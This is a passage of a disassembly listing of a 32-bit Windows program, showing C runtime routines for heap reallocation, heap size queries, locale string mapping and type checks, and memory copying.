		push	ebp
		push	edi
		jnz	short loc_403E4A
		push	[esp+0Ch+arg_4]
		call	sub_402FB5
		pop	ecx
		jmp	loc_403F8E
; ---------------------------------------------------------------------------

loc_403E4A:				; CODE XREF: sub_403E30+9j
		push	esi
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_403E5F
		push	ebx
		call	sub_402F0B
		pop	ecx
		jmp	loc_403F8B
; ---------------------------------------------------------------------------

loc_403E5F:				; CODE XREF: sub_403E30+21j
		cmp	dword_407704, 3
		jnz	loc_403F57

loc_403E6C:				; CODE XREF: sub_403E30+11Bj
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_403F39
		push	ebx
		call	sub_403355
		mov	ebp, eax
		test	ebp, ebp
		pop	ecx
		jz	loc_403F18
		cmp	esi, dword_4074B4
		ja	short loc_403ED8
		push	esi
		push	ebx
		push	ebp
		call	sub_403855
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403EA3
		mov	edi, ebx
		jmp	short loc_403ED4
; ---------------------------------------------------------------------------

loc_403EA3:				; CODE XREF: sub_403E30+6Dj
		push	esi
		call	sub_403B34
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_403ED8
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_403EBA
		mov	eax, esi

loc_403EBA:				; CODE XREF: sub_403E30+86j
		push	eax
		push	ebx
		push	edi
		call	sub_402FD0
		push	ebx
		call	sub_403355
		mov	ebp, eax
		push	ebx
		push	ebp
		call	sub_403380
		add	esp, 18h

loc_403ED4:				; CODE XREF: sub_403E30+71j
		test	edi, edi
		jnz	short loc_403F14

loc_403ED8:				; CODE XREF: sub_403E30+5Ej
					; sub_403E30+7Ej
		test	esi, esi
		jnz	short loc_403EDD
		inc	esi

loc_403EDD:				; CODE XREF: sub_403E30+AAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_407700
		call	ds:dword_4050C8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_403F14
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_403F02
		mov	eax, esi

loc_403F02:				; CODE XREF: sub_403E30+CEj
		push	eax
		push	ebx
		push	edi
		call	sub_402FD0
		push	ebx
		push	ebp
		call	sub_403380
		add	esp, 14h

loc_403F14:				; CODE XREF: sub_403E30+A6j
					; sub_403E30+C6j
		test	ebp, ebp
		jnz	short loc_403F35

loc_403F18:				; CODE XREF: sub_403E30+52j
		test	esi, esi
		jnz	short loc_403F1D
		inc	esi

loc_403F1D:				; CODE XREF: sub_403E30+EAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_407700
		call	ds:dword_4050D0	; RtlReAllocateHeap
		mov	edi, eax

loc_403F35:				; CODE XREF: sub_403E30+E6j
		test	edi, edi
		jnz	short loc_403F53

loc_403F39:				; CODE XREF: sub_403E30+41j
		cmp	dword_4074A4, 0
		jz	short loc_403F53
		push	esi
		call	sub_404540
		test	eax, eax
		pop	ecx
		jnz	loc_403E6C
		jmp	short loc_403F8B
; ---------------------------------------------------------------------------

loc_403F53:				; CODE XREF: sub_403E30+107j
					; sub_403E30+110j
		mov	eax, edi
		jmp	short loc_403F8D
; ---------------------------------------------------------------------------

loc_403F57:				; CODE XREF: sub_403E30+36j
					; sub_403E30+159j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_403F77
		test	esi, esi
		jnz	short loc_403F63
		inc	esi

loc_403F63:				; CODE XREF: sub_403E30+130j
		push	esi
		push	ebx
		push	0
		push	dword_407700
		call	ds:dword_4050D0	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_403F8D

loc_403F77:				; CODE XREF: sub_403E30+12Cj
		cmp	dword_4074A4, 0
		jz	short loc_403F8D
		push	esi
		call	sub_404540
		test	eax, eax
		pop	ecx
		jnz	short loc_403F57

loc_403F8B:				; CODE XREF: sub_403E30+2Aj
					; sub_403E30+121j
		xor	eax, eax

loc_403F8D:				; CODE XREF: sub_403E30+125j
					; sub_403E30+145j ...
		pop	esi

loc_403F8E:				; CODE XREF: sub_403E30+15j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_403E30	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F92	proc near		; CODE XREF: sub_402A23+7p

arg_0		= dword	ptr  4

		cmp	dword_407704, 3
		push	esi
		jnz	short loc_403FB6
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_403355
		test	eax, eax
		pop	ecx
		jz	short loc_403FB3
		mov	eax, [esi-4]
		sub	eax, 9
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_403FB3:				; CODE XREF: sub_403F92+17j
		push	esi
		jmp	short loc_403FBA
; ---------------------------------------------------------------------------

loc_403FB6:				; CODE XREF: sub_403F92+8j
		push	[esp+4+arg_0]

loc_403FBA:				; CODE XREF: sub_403F92+22j
		push	0
		push	dword_407700
		call	ds:dword_4050D4	; RtlSizeHeap
		pop	esi
		retn
sub_403F92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FCA	proc near		; CODE XREF: sub_402B7B+C5p
					; sub_402B7B+EDp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_405CF0
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_407498, ebx
		jnz	short loc_404018
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_405CEC
		push	100h
		push	ebx
		call	ds:dword_4050E0	; LCMapStringW
		test	eax, eax
		jz	short loc_404003
		mov	dword_407498, esi
		jmp	short loc_404018
; ---------------------------------------------------------------------------

loc_404003:				; CODE XREF: sub_403FCA+2Fj
		call	ds:dword_405090	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_404018
		mov	dword_407498, 2

loc_404018:				; CODE XREF: sub_403FCA+14j
					; sub_403FCA+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_404038
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]

loc_404023:				; CODE XREF: sub_403FCA+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_404030
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_404023
		or	ecx, 0FFFFFFFFh

loc_404030:				; CODE XREF: sub_403FCA+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax

loc_404038:				; CODE XREF: sub_403FCA+51j
		mov	eax, dword_407498
		cmp	eax, 2
		jz	loc_404222
		cmp	eax, ebx
		jz	loc_404222
		cmp	eax, 1
		jnz	loc_404255
		xor	edi, edi
		mov	[ebp+var_2C], edi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40406F
		mov	eax, dword_407490
		mov	[ebp+arg_18], eax

loc_40406F:				; CODE XREF: sub_403FCA+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4050DC	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_30], esi
		cmp	esi, ebx
		jz	loc_404255
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4040DB
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404B0C
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]
		mov	esi, [ebp+var_30]

loc_4040DB:				; CODE XREF: sub_403FCA+F4j
		cmp	[ebp+var_1C], ebx
		jnz	short loc_4040FC
		lea	eax, [esi+esi]
		push	eax
		call	sub_402FB5
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_404255
		mov	[ebp+var_38], 1

loc_4040FC:				; CODE XREF: sub_403FCA+114j
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4050DC	; MultiByteToWideChar
		test	eax, eax
		jz	loc_4041FF
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050E0	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, ebx
		jz	loc_4041FF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_40416B
		cmp	[ebp+arg_14], ebx
		jz	loc_4041FF
		cmp	edi, [ebp+arg_14]
		jg	loc_4041FF
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050E0	; LCMapStringW
		jmp	loc_4041FF
; ---------------------------------------------------------------------------

loc_40416B:				; CODE XREF: sub_403FCA+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4041A9
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404B0C
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]
		mov	esi, [ebp+var_30]

loc_4041A9:				; CODE XREF: sub_403FCA+1C2j
		cmp	[ebp+var_20], ebx
		jnz	short loc_4041C6
		lea	eax, [edi+edi]
		push	eax
		call	sub_402FB5
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_4041FF
		mov	[ebp+var_34], 1

loc_4041C6:				; CODE XREF: sub_403FCA+1E2j
		push	edi
		push	[ebp+var_20]
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050E0	; LCMapStringW
		test	eax, eax
		jz	short loc_4041FF
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_4041E9
		push	ebx
		push	ebx
		jmp	short loc_4041EF
; ---------------------------------------------------------------------------

loc_4041E9:				; CODE XREF: sub_403FCA+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_4041EF:				; CODE XREF: sub_403FCA+21Dj
		push	edi
		push	[ebp+var_20]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_40508C	; WideCharToMultiByte
		mov	edi, eax

loc_4041FF:				; CODE XREF: sub_403FCA+149j
					; sub_403FCA+168j ...
		cmp	[ebp+var_34], ebx
		jz	short loc_40420D
		push	[ebp+var_20]
		call	sub_402F0B
		pop	ecx

loc_40420D:				; CODE XREF: sub_403FCA+238j
		cmp	[ebp+var_38], ebx
		jz	short loc_40421B
		push	[ebp+var_1C]
		call	sub_402F0B
		pop	ecx

loc_40421B:				; CODE XREF: sub_403FCA+246j
		mov	eax, edi
		jmp	loc_40437D
; ---------------------------------------------------------------------------

loc_404222:				; CODE XREF: sub_403FCA+76j
					; sub_403FCA+7Ej
		mov	[ebp+var_28], ebx
		xor	edi, edi
		mov	[ebp+var_3C], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_404237
		mov	eax, dword_407480
		mov	[ebp+arg_0], eax

loc_404237:				; CODE XREF: sub_403FCA+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_404244
		mov	eax, dword_407490
		mov	[ebp+arg_18], eax

loc_404244:				; CODE XREF: sub_403FCA+270j
		push	[ebp+arg_0]
		call	sub_404900
		pop	ecx
		mov	[ebp+var_40], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40425C

loc_404255:				; CODE XREF: sub_403FCA+87j
					; sub_403FCA+CDj ...
		xor	eax, eax
		jmp	loc_40437D
; ---------------------------------------------------------------------------

loc_40425C:				; CODE XREF: sub_403FCA+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_404353
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_404943
		add	esp, 18h
		mov	[ebp+var_28], eax
		cmp	eax, ebx
		jz	short loc_404255
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050D8	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_24], esi
		cmp	esi, ebx
		jz	loc_404342
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_4048A0
		add	esp, 0Ch
		jmp	short loc_4042D3
; ---------------------------------------------------------------------------

loc_4042C3:				; DATA XREF: .rdata:stru_405CF0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4042C7:				; DATA XREF: .rdata:stru_405CF0o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404B0C
		xor	ebx, ebx
		xor	edi, edi

loc_4042D3:				; CODE XREF: sub_403FCA+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_4042FE
		push	[ebp+var_24]
		call	sub_402FB5
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40431B
		push	[ebp+var_24]
		push	ebx
		push	edi
		call	sub_4048A0
		add	esp, 0Ch
		mov	[ebp+var_3C], 1

loc_4042FE:				; CODE XREF: sub_403FCA+30Fj
		push	[ebp+var_24]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_28]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050D8	; LCMapStringA
		mov	[ebp+var_24], eax
		cmp	eax, ebx
		jnz	short loc_40431F

loc_40431B:				; CODE XREF: sub_403FCA+31Ej
		xor	esi, esi
		jmp	short loc_404345
; ---------------------------------------------------------------------------

loc_40431F:				; CODE XREF: sub_403FCA+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_40]
		call	sub_404943
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_404345
; ---------------------------------------------------------------------------

loc_404342:				; CODE XREF: sub_403FCA+2D0j
		mov	esi, [ebp+var_48]

loc_404345:				; CODE XREF: sub_403FCA+353j
					; sub_403FCA+376j
		cmp	[ebp+var_3C], ebx
		jz	short loc_40436D
		push	edi
		call	sub_402F0B
		pop	ecx
		jmp	short loc_40436D
; ---------------------------------------------------------------------------

loc_404353:				; CODE XREF: sub_403FCA+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050D8	; LCMapStringA
		mov	esi, eax

loc_40436D:				; CODE XREF: sub_403FCA+37Ej
					; sub_403FCA+387j
		cmp	[ebp+var_28], ebx
		jz	short loc_40437B
		push	[ebp+var_28]
		call	sub_402F0B
		pop	ecx

loc_40437B:				; CODE XREF: sub_403FCA+3A6j
		mov	eax, esi

loc_40437D:				; CODE XREF: sub_403FCA+253j
					; sub_403FCA+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_403FCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404386	proc near		; CODE XREF: sub_402B7B+A1p
					; sub_404CC2+4Fp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_405D18
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_40749C, esi
		jnz	short loc_4043D1
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_405CEC
		push	edi
		call	ds:dword_4050E8	; GetStringTypeW
		test	eax, eax
		jz	short loc_4043BC
		mov	dword_40749C, edi
		jmp	short loc_4043D1
; ---------------------------------------------------------------------------

loc_4043BC:				; CODE XREF: sub_404386+2Cj
		call	ds:dword_405090	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4043D1
		mov	dword_40749C, 2

loc_4043D1:				; CODE XREF: sub_404386+14j
					; sub_404386+34j ...
		mov	eax, dword_40749C
		cmp	eax, 2
		jz	loc_4044C9
		cmp	eax, esi
		jz	loc_4044C9
		cmp	eax, 1
		jnz	loc_4044EF
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_404403
		mov	eax, dword_407490
		mov	[ebp+arg_10], eax

loc_404403:				; CODE XREF: sub_404386+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_4050DC	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_4044EF
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_4048A0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_404474
; ---------------------------------------------------------------------------

loc_40445F:				; DATA XREF: .rdata:stru_405D18o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_404463:				; DATA XREF: .rdata:stru_405D18o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404B0C
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]

loc_404474:				; CODE XREF: sub_404386+D7j
		test	esi, esi
		jnz	short loc_40448F
		push	edi
		push	2
		call	sub_404BEF
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_4044EF
		mov	[ebp+var_20], 1

loc_40448F:				; CODE XREF: sub_404386+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_4050DC	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4044B7
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_4050E8	; GetStringTypeW
		mov	[ebp+var_24], eax

loc_4044B7:				; CODE XREF: sub_404386+11Ej
		cmp	[ebp+var_20], 0
		jz	short loc_4044C4
		push	esi
		call	sub_402F0B
		pop	ecx

loc_4044C4:				; CODE XREF: sub_404386+135j
		mov	eax, [ebp+var_24]
		jmp	short loc_404537
; ---------------------------------------------------------------------------

loc_4044C9:				; CODE XREF: sub_404386+53j
					; sub_404386+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_4044D6
		mov	ebx, dword_407480

loc_4044D6:				; CODE XREF: sub_404386+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_4044E3
		mov	edi, dword_407490

loc_4044E3:				; CODE XREF: sub_404386+155j
		push	ebx
		call	sub_404900
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044F3

loc_4044EF:				; CODE XREF: sub_404386+64j
					; sub_404386+A5j ...
		xor	eax, eax
		jmp	short loc_404537
; ---------------------------------------------------------------------------

loc_4044F3:				; CODE XREF: sub_404386+167j
		cmp	eax, edi
		jz	short loc_404515
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_404943
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4044EF
		mov	[ebp+arg_4], esi

loc_404515:				; CODE XREF: sub_404386+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_4050E4	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_404535
		push	esi
		call	sub_402F0B
		pop	ecx

loc_404535:				; CODE XREF: sub_404386+1A6j
		mov	eax, edi

loc_404537:				; CODE XREF: sub_404386+141j
					; sub_404386+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_404386	endp


; =============== S U B	R O U T	I N E =======================================



sub_404540	proc near		; CODE XREF: sub_402F89+1Fp
					; sub_403E30+113p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4074A0
		test	eax, eax
		jz	short loc_404558
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_404558
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_404558:				; CODE XREF: sub_404540+7j
					; sub_404540+12j
		xor	eax, eax
		retn
sub_404540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404560	proc near		; CODE XREF: sub_403380+2DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404580
		cmp	edi, eax
		jb	loc_4046FC

loc_404580:				; CODE XREF: sub_404560+16j
		test	edi, 3
		jnz	short loc_40459C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4045BC
		rep movsd
		jmp	ds:off_4046AC[edx*4]
; ---------------------------------------------------------------------------

loc_40459C:				; CODE XREF: sub_404560+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4045B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4045BC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4045B4:				; CODE XREF: sub_404560+46j
		jmp	dword ptr ds:loc_4046BC[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4045BC:				; CODE XREF: sub_404560+31j
					; sub_404560+8Ej ...
		jmp	ds:off_404640[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4045D0
		dd offset loc_4045FC
		dd offset loc_404620
; ---------------------------------------------------------------------------

loc_4045D0:				; DATA XREF: sub_404560+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4045BC
		rep movsd
		jmp	ds:off_4046AC[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4045FC:				; DATA XREF: sub_404560+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4045BC
		rep movsd
		jmp	ds:off_4046AC[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_404620:				; DATA XREF: sub_404560+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_4045BC
		rep movsd
		jmp	ds:off_4046AC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_404640	dd offset loc_4046A3	; DATA XREF: sub_404560:loc_4045BCr
		dd offset loc_404690
		dd offset loc_404688
		dd offset loc_404680
		dd offset loc_404678
		dd offset loc_404670
		dd offset loc_404668
		dd offset loc_404660
; ---------------------------------------------------------------------------

loc_404660:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_404668:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_404670:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_404678:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_404680:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_404688:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_404690:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4046A3:				; CODE XREF: sub_404560:loc_4045BCj
					; DATA XREF: sub_404560:off_404640o
		jmp	ds:off_4046AC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4046AC	dd offset loc_4046BC	; DATA XREF: sub_404560+35r
					; sub_404560+92r ...
		dd offset loc_4046C4
		dd offset loc_4046D0
		dd offset loc_4046E4
; ---------------------------------------------------------------------------

loc_4046BC:				; CODE XREF: sub_404560+35j
					; sub_404560+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4046C4:				; CODE XREF: sub_404560+35j
					; sub_404560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4046D0:				; CODE XREF: sub_404560+35j
					; sub_404560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4046E4:				; CODE XREF: sub_404560+35j
					; sub_404560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4046FC:				; CODE XREF: sub_404560+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_404730
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404724
		std
		rep movsd
		cld
		jmp	ds:off_404848[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_404724:				; CODE XREF: sub_404560+1B5j
					; sub_404560+210j ...
		neg	ecx
		jmp	ds:off_4047F8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_404730:				; CODE XREF: sub_404560+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_404748
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_404748+4[eax*4]
; ---------------------------------------------------------------------------

loc_404748:				; CODE XREF: sub_404560+1DAj
					; DATA XREF: sub_404560+1E1r
		jmp	ds:off_404848[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		pop	esp
		inc	edi
		inc	eax
		add	[eax-57FFBFB9h], al
		inc	edi
		inc	eax
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
